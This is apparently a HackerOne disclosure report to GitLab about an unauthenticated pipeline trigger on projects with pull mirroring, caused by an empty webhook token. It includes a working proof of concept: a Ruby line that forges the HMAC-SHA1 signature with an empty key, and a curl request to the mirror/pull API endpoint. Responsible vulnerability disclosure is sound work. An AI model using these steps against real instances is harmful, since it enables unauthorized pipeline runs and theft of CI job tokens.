Run pipelines on arbitrary branches on projects with mirroring configured without authentication
HackerOne report #2711204 by pwnie
on 2024-09-10, assigned to GitLab Team
:
Report
Summary
Projects with pull mirroring configured are susceptible to pipelines being ran on arbitrary branches, even without authentication, as the user who configured mirroring. If you can push to the project (e.g. you are developer), you can steal the mirror user's CI_JOB_TOKEN. Pipeline configuration (for pull mirroring) does not have to be enabled either.
This is the commit that introduced the bug. Been around for 4 years.
It might seem as if the bug is falling back to mirror_user but it's actually the fact that web hook tokens are not configured for simply mirrored projects and only for projects strictly using the external CI/CD project feature when creating a new project. So those aren't vulnerable as the signature check will fail. However regularly mirrored projects have a nil web hook token.
Steps to reproduce
- Create a project (must have minimum premium Gitlab plan) and configure pull mirroring from any public Github project. You dont have to enable pipelines for pul updates. This works without it.
- Create a new branch named foobar
- Create example
.gitlab-ci.yml
:
job:
script:
- "echo foobar"
- Open irb (ruby interactive interpreter) and execute the following:
signature = 'sha1=' + OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha1'), '', '{"action": "opened", "
pull_request": {"number": 123, "head": {"ref": "foobar", "sha": "REPLACE_WITH_LATEST_SHA", "repo": {"full_name":
"username/source-repo"}}, "base": {"ref": "main", "sha": "REPLACE_WITH_LATEST_SHA", "repo": {"full_name": "usernam
e/source-repo"}}}}')
Before executing replace REPLACE_WITH_LATEST_SHA
with the latest sha in your project (the .gitlab-ci.yml commit sha from foobar branch)
5. Execute the following command:
curl --header "X-Hub-Signature: PLACE_SHA1_HERE" --request POST \
--header "Content-Type: application/json" \
--data '{"action": "opened", "pull_request": {"number": 123, "head": {"ref": "foobar", "sha": "REPLACE_WITH_LATEST_SHA", "repo": {"full_name": "username/source-repo"}}, "base": {"ref": "main", "sha": "REPLACE_WITH_LATEST_SHA", "repo": {"full_name": "username/source-repo"}}}}' \
"https://gitlab.com/api/v4/projects/PROJECT_ID_HERE/mirror/pull"
Replace REPLACE_WITH_LATEST_SHA, PROJECT_ID_HERE and PLACE_SHA1_HERE (e.g. sha1=bd6d6962e60d3fa7f55843e4030e48148466d5eb)
6. Notice a pipeline is running for foobar branch
Impact
Run pipelines as mirror user. No gitlab auth necessary. If dev role or above is held, steal mirror_user CI_JOB_TOKEN.
Components affected
Gitlab
Impact
Run pipelines as mirror user. No gitlab auth necessary. If dev role or above is held, steal mirror_user CI_JOB_TOKEN.
How To Reproduce
Please add reproducibility information to this section: